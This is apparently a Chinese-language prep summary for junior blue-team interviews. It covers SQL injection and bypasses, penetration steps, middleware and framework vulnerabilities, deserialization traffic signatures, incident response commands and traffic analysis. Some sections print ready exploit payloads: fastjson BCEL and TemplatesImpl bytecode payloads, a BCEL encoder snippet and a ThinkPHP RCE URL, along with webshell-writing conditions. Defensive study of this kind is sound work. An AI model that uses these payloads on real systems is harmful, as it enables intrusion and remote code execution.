HW藍隊初級面試總結
一、sql注入原理、分類、繞過
原理:產生sql注入漏洞主要因為沒有對接受到的參數進行過濾、驗證和處理直接拼接到了sql語句中,然后直接執行該sql語句,這樣就會導致惡意用戶傳入一些精心構造的sql代碼,與后臺sql語句拼接后形成完整的sql語句執行,達到攻擊者的目的。
分類:我們可以把sql注入直接的分為字符型和數字型,主要特點就是在進行sql注入的時候是否需要閉合傳參的單引號,不需要閉合說明是數值型,反之就是字符型;還可以將sql注入分為有回顯的注入和無回顯的注入,無回顯的注入又別稱為盲注,盲注有三大類,布爾盲注、時間盲注以及報錯盲注;根據sql注入各自的特點可以分為聯合注入、二次注入、寬字節注入、堆疊注入等,根據http報文中的不同位置可以有cookie注入、referer注入、x-forwarded-for注入等。
繞過:大小寫繞過 、編碼繞過、注釋繞過、關鍵字/關鍵函數替換、參數污染、緩存區溢出、特殊符號
二、報錯注入用到的函數、原理
函數:updatexml、floor、exp
原理:updatexml()一共有三個參數,第一個是xml內容、第二個參數是update的位置XPATH路徑、第三個參數是更新后的內容;這里報錯的主要原理是利用第二個參數,當其校驗輸入的內容是否符合XPATH格式的時候,不符合就報錯,我們將第二個參數替換為version()或者database()等等,因為不滿足XPATH格式所以會輸出錯誤,輸出錯誤的時候將sql代碼(verson()/database()等)執行了。
三、sqlmap用過的tamper
如何防御sql注入
base64編碼、url編碼、雙url編碼、寬字節、使用/**/分割sql關鍵字、替換空格為xx
如何防御sql注入漏洞
1、在代碼層面使用過濾函數正則表達式等對傳入的參數進行一個過濾、檢測、處理,使得傳入的惡意數據無法按照預想方式執行
2、預編譯sql語句
3、使用waf,安全狗,阿里云盾等waf進行防護
4、經常進行基線檢查、漏洞掃描等工作
四、sql寫shell條件/sqlmap寫shell
條件:
1、sql寫shell可以用到兩個函數outfile和dumpfile可用(select into outfile不可寫入二進制可執行文件,select into dumpfile 可寫入二進制可執行文件)
2、關閉安全模式(需要數據庫允許導出文件也就是secure_file_priv參數配置為空或者是目錄地址,設置為NULL的時3、候不允許導出文件)
4、需要足夠的權限
5、需要知道網站的絕對路徑
6、GPC關閉可使用單引號
sqlmap --os-shell:
對于mysql數據庫來說,--os-shell的本質就是寫入兩個php文件,其中tmpugvzq.php可以讓我們上傳文件到網站下,讓我們命令執行,并將輸出的內容返回sqlmap端,另一個返回課以讓我們執行系統命令的命令行;簡單的說就是先傳小馬再傳自己的大馬。
五、滲透思路
信息收集:
1、獲取域名whois信息
2、服務器子域名、旁站、c段查詢
3、服務器操作系統版本補丁狀況、web中間件類型、版本、數據庫類型等
4、服務器開放端口:22 ssh 80 web 445 3389.。。
漏洞掃描:
nessus,awvs ,appscan
漏洞驗證:
是否存在漏洞,是否可以拿到webshell或者其他權限
權限提升:
1. windows內核溢出提權,數據庫提權、組策略首選項提取、web中間件提權、dll劫持提權、第三方軟件/服務提權
2. linux內核漏洞提權、劫持高權限程序提權、sudoer配置文件錯誤提權
漏洞利用
日志清理
六、中間件漏洞
iis:
遠程代碼執行解析漏洞 目錄以.asp結尾 xxx.asp;1.jpg
tomcat:
war包后門部署遠程代碼執行
apache:
解析漏洞 1.php%0a換行解析 1.php.xxx 未知后綴解析SSI遠程命令執行路徑穿越
nginx:
解析漏洞 1.jpg/.php目錄穿越 (nginx配置別名的時候alias的時候,忘記加/ 將造成目錄穿越漏洞)CRLF注入 (Nginx會將$uri進行解碼,導致傳入%0a%0d即可引入換行符,造成CRLF注入漏洞)
jboss:
反序列化war后門部署
weblogic:
反序列化ssrf任意文件上傳文件讀取
七、序列化反序列化及其流量特征
序列化:對象轉換為字符串
反序列化:字符串轉換為對象
流量特征:
shiro反序列化:查看cookie中rememberme字段,惡意命令要從這里傳入。判斷是否有漏洞,查看返回包set cookie:rememberme=deleteme,驗證失敗返回的標識符。
fastjson反序列化:請求報文中查找json格式的數據,重點看有無rmi或者出網的一些行為
st2-045:請求頭中的Content-Type字段
八、應急響應流程及windows/linux用到的命令
應急響應流程:
1、收集信息:搜集客戶信息和中毒信息,備份
2、判斷類型:判斷是否是安全事件、是何種安全事件(勒索病毒、挖礦、斷網、ddos等)
3、深入分析:日志分析、進程分析、啟動項分析、樣本分析
4、清理處置:殺掉惡意進程、刪除惡意文件、打補丁、修復文件
5、產出報告:整理并輸出完整的安全事件報告
windows應急
1)查看系統賬號安全
1、查看服務器是否有弱口令、可疑賬號、隱藏賬號、克隆賬號、遠程管理端口是否對公網開放
2、win+r(eventwmr.msc)查看系統日志,查看管理員登錄時間、用戶名是否存在異常
2)檢查異常端口、進程
1、netstat -ano 檢查端口連接情況,是否有遠程連接、可疑連接
2、tasklist | findstr "PID"根據pid定位進程
3、使用功能查殺工具
3)啟動項檢查、計劃任務、服務
1、檢查服務器是否有異常的啟動項,msconfig看一下啟動項是否有可以的啟動
2、檢查計劃任務,查看計劃任務屬性,可以發現木馬文件的路徑
3、見擦汗服務自啟動,services.msc注意服務狀態和啟動類型,檢查是否有異常服務
4)檢查系統相關信息
1、查看系統版本以及補丁信息 systeminfo
2、查找可以目錄及文件 是否有新建用戶目錄 分析最近打開分析可疑文件(%UserProfile%\Recent)
5)自動化查殺
使用360 火絨劍 webshell后門可以使用d盾 河馬等
6)日志分析
360星圖日志分析工具 ELK分析平臺
linux應急
1、檢查用戶及密碼文件/etc/passwd、/etc/shadow 是否存在多余帳號,主要看一下帳號后面是否是 nologin,如果沒有 nologin 就要注意;
2、通過 who 命令查看當前登錄用戶(tty 本地登陸 pts 遠程登錄)、w 命令查看系統信息,想知道某一時刻用戶的行為、uptime查看登陸多久、多少用戶,負載;
3、修改/etc/profile的文件,在尾部添加相應顯示間、日期、ip、命令腳本代碼,這樣輸入history命令就會詳細顯示攻擊者 ip、時間歷史命令等;
4、用 netstat -antlp|more命令分析可疑端口、IP、PID,查看下 pid 所對應的進程文件路徑,運行ls -l /proc/$PID/exe 或 file /proc/$PID/exe($PID 為對應的pid 號);
5、使用ps命令,分析進程 ps aux | grep pid
6、使用 vi /etc/inittab 查看系統當前運行級別,通過運行級別找到/etc/rc.d/rc[0~6].d對應目錄是否存在可疑文件;
7、看一下crontab定時任務是否存在可疑啟用腳本;
8、使用chkconfig --list 查看是否存在可疑服務;
9、通過grep awk命令分析/var/log/secure安全日志里面是否存在攻擊痕跡;
10、chkrootkit、rkhunter、Clamav 病毒后門查殺工具對 Linux 系統文件查殺;
11、如果有 Web 站點,可通過 D 盾、河馬查殺工具進行查殺或者手工對代碼按腳本木馬關鍵字、關鍵涵數(evel、system、shell_exec、exec、passthru system、popen)進行查殺Webshell 后門。
九、流量分析
拿到流量包后將其導入wireshark中,使用過濾規則對流量包進行分析,常用的過濾規則有:
http contains "關鍵字"http.response.code == 200http.request.method == POSTtcp.prot == 80ip.addr == "10.1.1.1"ip.srcip.dst
十、Behinder流量特征
冰蝎是一款基于java開發的動態加密通信流量的新型webshell客戶端,冰蝎的通信過程可以分為兩個階段:秘鑰協商 加密傳輸
冰蝎2:ua頭比較老,雖然內置了10余種,每次連接shell都會隨機選擇一個進行使用,由于比較老,容易被檢測出來
content-length:16 #16是冰蝎2連接的特征
冰蝎3:冰蝎3取消了動態秘鑰獲取 accept頭有application/xhtml+xmlapplication/xmlapplication/signed-exchange屬于弱特征
ua頭版本老:冰蝎3內置16個ua頭都比較老,現實生活中使用較少。
十一、天眼基本搜索語法
sip:"10.1.1.1" AND dip:"10.1.1.2" AND status:(200) #10.1.1.1訪問服務器10.1.1.2狀態碼為200的流量日志dport:"443" OR dport:"8080#訪問端口是443或者8080的流量日志dport:"80" NOT host:"www.example.com"#訪問端口為80,排除訪問www.example.com域名的流量日志dip:"10.1.1.2" AND client_os:"windows7"#服務器ip為10.1.1.2,操作系統為windows7的流量日志
處置方案:
傳感器上出現sql注入告警后
1、驗證此條sql注入告警是否真的存在sql注入漏洞
2、通過請求數據包判斷觸發告警的行為是客戶自身還是攻擊行為
3、若為自身業務問題,則將漏洞點相關整合成報告反饋客戶
4若為攻擊者行為,需要進一步分析,查看分析平臺攻擊ip除了sql注入外是否有其他攻擊行為,攻擊的結果如何
5、將發現時間及攻擊行為反饋給護網客戶
傳感器上出現RCE告警
1、驗證此條警告師傅真的成功(若成功直接出報告)
2、若失敗,判斷攻擊者是手工還是工具批量掃描行為
3、進入分析平臺進一步分析,查看分析平臺攻擊ip除了rce是否有其他攻擊行為,攻擊結果如何
4、將發現時間及攻擊行為反饋給護網
十二、fastjson反序列化
fastjson1.2.24反序列化漏洞原理:
1、fastjson提供的反序列化功能允許用戶傳入json格式數據局的時候通過@type的value值指定任意反序列化類名
2、fastjson的反序列化機制會將反序列的類進行實例化對象,并調用該對象的setter和部分getter方法
3、惡意用戶可以構造payload是目標應用的代碼執行流程進入這部分setter和getter方法,如果這些方法中存在Gadget,就會造成一些安全問題。
4、官方采取黑名單過濾的方法,對反序列化的類名進行校驗,checkAutoType不斷被繞過
fastjson利用流程:
使用@type的value字段執行反序列化的類,例如JdbcRowSetImpl這個類,接著將這個類中的成員變量datasourcename的value值設為rmi遠程加載類,這樣fastjson在將傳入的類反序列化、實例對象后,會通過成員變量傳入的value值,請求rmi服務器,最后rmi返回遠程類,fastjson執行這個遠程惡意類。導致rce漏洞。
fastjson反序列化的特征:
在請求包中查找json格式的字符串,重點在于rmi和一些出網操作
十三、fastjson不出網利用
1、基于BasicDataSource類
org.apache.tomcat.dbcp.dbcp2.BasicDataSource
條件:BasicDataSource需要有dbcp或者tomcat-dbcp的依賴
利用過程:使用BasicDataSource鏈,構造惡意類后將其的字節碼轉化為BCEL格式,其中driverClassName和driverClassLoader都是可控的,由用戶輸入,指定ClassLoader為com.sun.org.apache.bcel.internal.util.ClassLoader,設置ClassName為BCEL..這種格式,字啊newInstance方法執行后被實例化,第二個參數initial為true時,類加載后將會直接執行static{}塊中的代碼。
{"@type":"java.lang.Class","val":"com.sun.org.apache.bcel.internal.util.ClassLoader"},{"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource","driverClassLoader": {"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"},"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$A$7d$91$cfN$C1$Q$c6$bf$c2$$$c5$ba$C$o$e2$3fD$b8$n$HI$bcJ$bc$YM$d0U$P$Q$8e$seidq$dd$dd$y$8b$f1$8d$3csQ$e3$c1$H$f0$a1$8c$b3$F5$5el$d2$99$ce7$9d_$a7$ed$c7$e7$db$3b$80C$d4$F$b2$d801$li$81Mlql$L$98$d8$e1$a8p$ec2d$da$ae$ef$c6$c7$M$e9$c6$7e$9f$c18$J$86$8a$no$bb$be$ba$9a$de$PT$d4$93$D$8f$94$a2$j8$d2$eb$cb$c8M$e2$85h$c4$pw$c2$c0$ed$89$a7Tx$c4$90m$3b$de$82$c7$u_$b3$c7$f2A$b6$3c$e9$df$b6$3a$7e$ac$a2h$g$c6jx$fa$e8$a80v$D$9f$wV$ba$b1t$ee$$e$a8$91$d4$j$83$e8$G$d3$c8Qgnr$84$d0$e8$83$84ca$J$82$a3j$a1$82$3d$86$ea$ffl$L5$I$GS$d73$U$7ew_$P$c6$ca$89$ffH$bdQ$a4$e4$90$$$d48O$5e$n$lF$ae$l$eb$cez$91t$U$ea$e0$f4$94$c9H$81$rm$90$5d$a6$a8E$9e$917$9b$_$603$9d$b6$c8f$b4H$97$pk$cd7$m$87$3c$f9$y$K$3f$c57$g$G$e4KH$bd$c2xB$f6$a2$f9$8c$ccL$8b$Z$3a$c5DZ$e3$caH$fe$d0$m$8dkU$d0$wG$a8o$bc$a0$dc$w$8a$U$ad$d1$e4Hu8J$G$r$d6uG$e5$_$H$X$vT$R$C$A$A"}
import com.sun.org.apache.bcel.internal.util.ClassLoader;import com.sun.org.apache.bcel.internal.classfile.JavaClass;import com.sun.org.apache.bcel.internal.classfile.Utility;import com.sun.org.apache.bcel.internal.Repository;
public class Test { public static void main(String[] args) throws Exception { JavaClass cls = Repository.lookupClass(Exp.class); String code = Utility.encode(cls.getBytes(), true); code = "$$BCEL$$" + code; new ClassLoader().loadClass(code).newInstance(); System.out.println(code); }}
2.基于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類
條件:Feaure.SupportNonPublicField開啟,默認是關閉狀態
{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoABwAXCgAYABkIABoKABgAGwcAHAoABQAXBwAdAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACkV4Y2VwdGlvbnMHAB4BAAl0cmFuc2Zvcm0BAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWBwAfAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYHACABAApTb3VyY2VGaWxlAQAIUG9jLmphdmEMAAgACQcAIQwAIgAjAQAob3BlbiAvU3lzdGVtL0FwcGxpY2F0aW9ucy9DYWxjdWxhdG9yLmFwcAwAJAAlAQADUG9jAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABNqYXZhL2xhbmcvRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwAhAAUABwAAAAAABAABAAgACQACAAoAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACwAAAA4AAwAAAAsABAAMAA0ADQAMAAAABAABAA0AAQAOAA8AAQAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABEAAQAOABAAAgAKAAAAGQAAAAMAAAABsQAAAAEACwAAAAYAAQAAABYADAAAAAQAAQARAAkAEgATAAIACgAAACUAAgACAAAACbsABVm3AAZMsQAAAAEACwAAAAoAAgAAABkACAAaAAwAAAAEAAEAFAABABUAAAACABY="],'_name':'a.b','_tfactory':{ },"_outputProperties":{},"_name":"a","_version":"1.0","allowedProtocols":"all"}
十四、shiro550反序列化
原理:導致shiro反序列化的主要原因就是shiro提供的記住密碼功能,當用戶打開這個功能時會在請求阿包中生成一個cookie,cookie的value值是經過反序列->aes加密->base64加密后的字符串,關鍵在于aes加密的秘鑰是默認的,如果沒有修改這個秘鑰,就會導致反序列化漏洞,攻擊者可以構造惡意代碼,將惡意代碼序列化-aes加密-base64加密后傳入cookie,這樣就導致RCE漏洞。
特征:shiro是一個身份驗證組件,一般用在登錄模塊,登錄失敗會有一個失敗標識rememberme=deleteme,如果返回包中存在該字段則說明可能存在反序列化漏洞。
十五、log4j漏洞
原理:log4j2框架下的lookup服務提供了{}字段解析功能,傳進去的值會被直接解析,JNDI服務會請求遠程服務來鏈接本地對象,這時候只用在{}里面調用JNDI服務即可反彈shell到指定服務器
特征:數據包里有{jndi:ladp//}字段
十六、中挖礦病毒怎么解決
首先ps -aux查看進程分析
然后top 分析算力,挖礦用到的算力比較多,對流量進行過濾,含有礦池服務器的流量就是挖礦病毒
最后kill進程,rm掉程序
刪不掉這么辦
先下線,然后檢查挖礦是否有在內網傳播及時下線所有被傳播的主機、上機排查攻擊痕跡、一般可以從cpu占用情況,可以進程、開放端口、計劃任務、服務項幾個方面排查
將樣本上傳到在線分析平臺,清除挖礦主程序主要就是雙向封禁礦池地址、刪除計劃任務自啟動、刪服務,結束惡意進程、刪病毒
刪不掉:確認一下一下是因為程序在使用,還是權限不夠,更具具體情況采取措施
直接降權,降權到沒有執行權限
十七、weblogic xml反序列化
原理:xml反序列化,這是wls security組件對外提供的webserver頁面,通過xmlDecoder功能來解析用戶的xml數據導致的任意字符串被當做代碼去執行
特征:服務器開放7001端口 傳遞xml數到wls-wsat 數據包內容有bash或者dnslog字段。
十八、weblogic命令執行如何回顯
十九、框架漏洞
stu2
stu2-045:Struts2默認使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest 類對上傳數據進行解析.JakartaMultiPartRequest類在處理Content-Type時如果獲得非預期的值的話,將會拋出一個異常,對這個異常的處理會對錯誤信息進行OGNL表達式解析,從而造成了惡意代碼執行
stu-061檢測思路在新版本的struts2中,已經不能通過參數構造來解析ognl表達式了,所以如果考慮想要使用腳本來進行批量掃描是否有本漏洞的時候,可以考慮直接爆破所有參數,然后判斷頁面中是否有預計的結果文本即可。比如: %{ ‘gcowsec-‘ + (2000 + 20).toString()}預計會得到 gcowsec-2020使用腳本判斷結果中是否包含就可以了此次漏洞只是S2-059修復的一個繞過,并且本次利用的核心類org.apache.commons.collections.BeanMap在commons-collections-x.x.jar包中,但是在官方的最小依賴包中并沒有包含這個包。所以即使掃到了支持OGNL表達式的注入點,但是如果沒有使用這個依賴包,也還是沒辦法進行利用。
stu-057漏洞產生于網站配置XML時如果沒有設置namespace的值,并且上層動作配置中并沒有設置或使用通配符namespace時,可能會導致遠程代碼執行漏洞的發生。同樣也可能因為url標簽沒有設置value和action的值,并且上層動作并沒有設置或使用通配符namespace,從而導致遠程代碼執行漏洞的發生利用條件alwaysSelectFullNamespace被設置為true,此時namespace的值是從URL中獲取的。URL是可控的,所以namespace也是可控的。action元素沒有名稱空間屬性集,或者使用通配符。該名稱空間將由用戶從URL傳遞并解析為OGNL表達式,最終導致遠程代碼執行的脆弱性
thinkphp
RCEThinkPHP是一款運用極廣的PHP開發框架。其版本5中,由于沒有正確處理控制器名,導致在網站沒有開啟強制路由的情況下(即默認情況下)可以執行任意方法,從而導致遠程命令執行漏洞。http://your-ip:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
SQL注入漏洞存在于 Mysql 類的 parseWhereItem 方法中。由于程序沒有對數據進行很好的過濾,將數據拼接進 SQL 語句,導致 SQL注入漏洞 的產生。index.php?ids[]=1&ids[]=2<?phpnamespace app\index\controller;
class Index{ public function index(){ $username = request()->get('username'); $result = db('users')->where('username','exp',$username)->select(); return 'select success'; }}